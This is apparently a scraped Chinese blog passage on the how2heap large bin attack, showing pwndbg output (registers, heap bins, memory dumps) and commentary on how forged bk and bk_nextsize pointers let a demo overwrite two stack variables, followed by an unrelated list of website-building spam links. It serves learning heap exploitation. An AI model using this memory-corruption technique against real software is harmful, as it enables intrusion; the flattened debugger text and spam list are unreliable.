]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena888) —▸ 0x7ffff7dd1e88 (main_arena872) —▸ 0x7ffff7dd1e78 (main_arena856) ◂— ... 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009f3 main845f 1 7ffff7a2d830 __libc_start_main240 pwndbg x/40gx 0x603360-0x20 0x603340: 0x0000000000000000 0x0000000000000000 0x603350: 0x0000000000000000 0x0000000000000000 0x603360: 0x0000000000000000 0x00000000000003f1 0x603370: 0x0000000000000000 0x00000000006037a0 0x603380: 0x0000000000000000 0x00000000006037a0 0x603390: 0x0000000000000000 0x0000000000000000 0x6033a0: 0x0000000000000000 0x0000000000000000 0x6033b0: 0x0000000000000000 0x0000000000000000 0x6033c0: 0x0000000000000000 0x0000000000000000 0x6033d0: 0x0000000000000000 0x0000000000000000 0x6033e0: 0x0000000000000000 0x0000000000000000 0x6033f0: 0x0000000000000000 0x0000000000000000 0x603400: 0x0000000000000000 0x0000000000000000 0x603410: 0x0000000000000000 0x0000000000000000 0x603420: 0x0000000000000000 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000000 0x603440: 0x0000000000000000 0x0000000000000000 0x603450: 0x0000000000000000 0x0000000000000000 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 pwndbg n 57 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 (stack_va)R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009f8 (main850) ◂— mov rsi, qword ptr [rbp - 8] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009e1 main827 mov esi, 0x40102c0x4009e6 main832 mov rdi, rax0x4009e9 main835 mov eax, 00x4009ee main840 call fprintfplt 0x4005700x4009f3 main845 mov eax, 0► 0x4009f8 main850 mov rsi, qword ptr [rbp - 8]0x4009fc main854 xor rsi, qword ptr fs:[0x28]0x400a05 main863 je main870 0x400a0c↓0x400a0c main870 leave 0x400a0d main871 ret 0x400a0e nop ─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /ctf/work/how2heap/large_bin_attack .c52 malloc(0x90);53 fprintf(stderr, 再次 malloc会把释放的第三个 chunk 插入到 largebin 中同时我们的目标已经改写了:\n);54 fprintf(stderr, stack_var1 (%p): %p\n, stack_var1, (void *)stack_var1);55 fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2);56 return 0;► 57 } ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0 ... ↓ 02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena888) —▸ 0x7ffff7dd1e88 (main_arena872) —▸ 0x7ffff7dd1e78 (main_arena856) ◂— ... 03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0 04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0 05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300 06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15 07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main240) ◂— mov edi, eax ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009f8 main850f 1 7ffff7a2d830 __libc_start_main240 pwndbg x/40gx 0x603360-0x20 0x603340: 0x0000000000000000 0x0000000000000000 0x603350: 0x0000000000000000 0x0000000000000000 0x603360: 0x0000000000000000 0x00000000000003f1 0x603370: 0x0000000000000000 0x00000000006037a0 0x603380: 0x0000000000000000 0x00000000006037a0 0x603390: 0x0000000000000000 0x0000000000000000 0x6033a0: 0x0000000000000000 0x0000000000000000 0x6033b0: 0x0000000000000000 0x0000000000000000 0x6033c0: 0x0000000000000000 0x0000000000000000 0x6033d0: 0x0000000000000000 0x0000000000000000 0x6033e0: 0x0000000000000000 0x0000000000000000 0x6033f0: 0x0000000000000000 0x0000000000000000 0x603400: 0x0000000000000000 0x0000000000000000 0x603410: 0x0000000000000000 0x0000000000000000 0x603420: 0x0000000000000000 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000000 0x603440: 0x0000000000000000 0x0000000000000000 0x603450: 0x0000000000000000 0x0000000000000000 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 pwndbg p stack_var1 - 2 $1 (unsigned long *) 0x7fffffffe580 pwndbg p stack_var2 - 4 $2 (unsigned long *) 0x7fffffffe578 pwndbg p stack_var2 $3 (unsigned long *) 0x7fffffffe598 pwndbg p stack_var1 $4 (unsigned long *) 0x7fffffffe590 pwndbg bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x603140 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x603140 /* 1 */ smallbins empty largebins 0x400 [corrupted] FD: 0x603360 ◂— 0x0 BK: 0x603360 —▸ 0x6037a0 —▸ 0x7fffffffe580 ◂— 0x6037a0 pwndbg parseheap addr prev size status fd bk 0x603000 0x0 0xa0 Used None None 0x6030a0 0x0 0xa0 Used None None 0x603140 0x0 0x1f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 0x603330 0x1f0 0x30 Used None None 0x603360 0x0 0x3f0 Freed 0x0 0x6037a0 Corrupt ?! (size 0) (0x603750) pwndbg x/10gx 0x7fffffffe598 0x7fffffffe598: 0x00000000006037a0 0x0000000000603010 0x7fffffffe5a8: 0x0000000000603370 0x00000000006037b0 0x7fffffffe5b8: 0xe5d20a6fe83dd300 0x0000000000400a10 0x7fffffffe5c8: 0x00007ffff7a2d830 0x00007fffffffe6a8 0x7fffffffe5d8: 0x00007fffffffe6a8 0x00000001f7b99608 pwndbg x/10gx 0x7fffffffe590 0x7fffffffe590: 0x00000000006037a0 0x00000000006037a0 0x7fffffffe5a0: 0x0000000000603010 0x0000000000603370 0x7fffffffe5b0: 0x00000000006037b0 0xe5d20a6fe83dd300 0x7fffffffe5c0: 0x0000000000400a10 0x00007ffff7a2d830 0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8 pwndbg pwndbg p stack_var1 $5 (unsigned long *) 0x7fffffffe590 pwndbg p stack_var2 $8 (unsigned long *) 0x7fffffffe598 pwndbg p (void *)stack_var1 $9 (void *) 0x6037a0 pwndbg p (void *)stack_var2 $10 (void *) 0x6037a0 pwndbg ​ 把2带入4得到fwd-bk_nextsize-fd_nextsizevictim同时下面有fwd-bkvictim。也就是说之前我们伪造的p2的bk跟bk_nextsize指向的地址被改为了victim即(unsigned long)(stack_var1 - 2)与(unsigned long)(stack_var2 - 4)被改为了victim  pwndbg p stack_var1 $5 (unsigned long *) 0x7fffffffe590 pwndbg p stack_var2 $8 (unsigned long *) 0x7fffffffe598 pwndbg p (void *)stack_var1 $9 (void *) 0x6037a0 pwndbg p (void *)stack_var2 $10 (void *) 0x6037a0   4.参考资料 【PWN】how2heap | 狼组安全团队公开知识库
http://www.pierceye.com/news/112215/

相关文章:

  • 美食网站php源码wordpress 文章消失
  • 四川住房和城乡建设厅网站万达网站建设
  • 网站运营一般做那些分析快手营销软件
  • 重庆大渡口建设网站站群搭建
  • 2018年网站开发技术动漫电影做英语教学视频网站
  • 设备管理系统网站模板网站开发基础知识试题
  • wordpress建立好的网站万能搜索网站
  • 杭州 高端网站建设wordpress 不显示ip
  • 校考前做试题的网站池州哪里有做网站
  • 四合一小说网站搭建教程WordPress主题资源
  • 网站制作com台州网站哪家专业
  • 网站怎么上百度阿里云网站建设
  • 全国最大的网站建设公司肇庆网络推广
  • 网站做301跳转需解析设计用哪些网站有哪些功能
  • 如何将网站添加到信任站点手机价格
  • 做网站显示上次登录时间代码深圳有哪些招聘网站
  • 网站开发可选择的方案页面设计说明
  • 手机付费咨询网站建设网站正能量免费推广软件晚上
  • 网站群建设技术规范seo收索引擎优化
  • 西安网站托管维护百度首页广告
  • 洛龙区网站设计建设免费网页小游戏
  • 建设摩托125图片大全优化大师怎么删除学生
  • 郑州哪家公司给国外做网站闵行网站推广
  • 微网站 开发提供坪山网站建设
  • 狗狗和人做网站centos6搭建wordpress
  • 培训教育学校的网站建设方案vx小程序怎么制作
  • 泉州网站建设优化公司酒店网络营销推广方案
  • 重庆潼南网站建设公司电话crm客户关系管理平台
  • 怎么做可以访问网站连接加密东莞++网站建设
  • 企业网站的建设与流程数据分析师要学什么课程